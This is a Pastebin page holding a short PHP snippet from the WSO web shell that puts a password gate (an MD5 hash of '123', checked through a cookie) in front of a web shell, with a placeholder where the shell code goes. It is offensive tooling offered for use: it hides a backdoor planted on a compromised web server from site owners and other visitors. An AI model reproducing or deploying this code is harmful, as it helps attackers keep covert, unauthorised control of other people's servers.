Advertisement
Sha6h

Put a Password 2 Ur Shell !

May 6th, 2015
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.64 KB | None | 0 0
  1. <?php
  2. $auth_pass = "202cb962ac59075b964b07152d234b70"; // Pass = 123
  3. function wsoLogin() {
  4.     die("</div><pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>
  5.  
  6.    
  7.     ");
  8. }
  9.  
  10. function WSOsetcookie($k, $v) {
  11.     $_COOKIE[$k] = $v;
  12.     setcookie($k, $v);
  13. }
  14.  
  15. if(!empty($auth_pass)) {
  16.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  17.         WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  18.  
  19.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  20.         wsoLogin();
  21. }
  22.  
  23. // [ Put the code here ]
  24.  
  25.  
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement